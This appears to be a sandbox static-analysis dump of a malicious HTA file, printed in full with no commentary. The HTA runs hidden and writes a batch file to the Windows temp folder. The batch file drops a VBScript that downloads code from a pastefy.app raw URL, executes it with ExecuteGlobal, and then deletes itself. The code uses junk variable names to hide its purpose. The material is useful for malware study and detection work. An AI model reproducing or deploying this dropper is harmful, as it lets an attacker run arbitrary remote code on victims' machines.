Static | ZeroBOX

<!DOCTYPE html>

<html>

<head>

<title>Executar Script</title>

<HTA:APPLICATION

APPLICATIONNAME="ScriptExecutor"

BORDER="none"

CAPTION="no"

SHOWINTASKBAR="no"

SINGLEINSTANCE="yes"

WINDOWSTATE="minimize"

Dim epiploa

Set epiploa = CreateObject("WScript.Shell")

Dim SACEUR

SACEUR = "C:\Windows\Temp\sombrous.bat"

Dim milligrammes, droning

Set milligrammes = CreateObject("Scripting.FileSystemObject")

Set droning = milligrammes.CreateTextFile(SACEUR, True)

droning.WriteLine "@echo off"

droning.WriteLine "setlocal"

droning.WriteLine "set ""fugues=C:\Windows\Temp\coroclisis.vbs"""

droning.WriteLine ">" & """%fugues%""" & " ("

droning.WriteLine " echo Dim noncatalog, documentarist"

droning.WriteLine " echo noncatalog = ""https://pastefy.app/SXZ0OaCN/raw"""

droning.WriteLine " echo Set documentarist = CreateObject^(""MSXML2.XMLHTTP""^)"

droning.WriteLine " echo documentarist.open ""GET"", noncatalog, False"

droning.WriteLine " echo documentarist.send"

droning.WriteLine " echo If documentarist.Status = 200 Then"

droning.WriteLine " echo ExecuteGlobal documentarist.responseText"

droning.WriteLine " echo End If"

droning.WriteLine ")"

droning.WriteLine "start """" /b wscript //nologo ""%fugues%"""

droning.WriteLine "timeout /t 1 /nobreak >nul"

droning.WriteLine "del ""%fugues%"""

droning.WriteLine "endlocal"

droning.Close

epiploa.Run "cmd.exe /c " & SACEUR, 0, False

window.close

</script>

</head>

<body>

</body>

</html>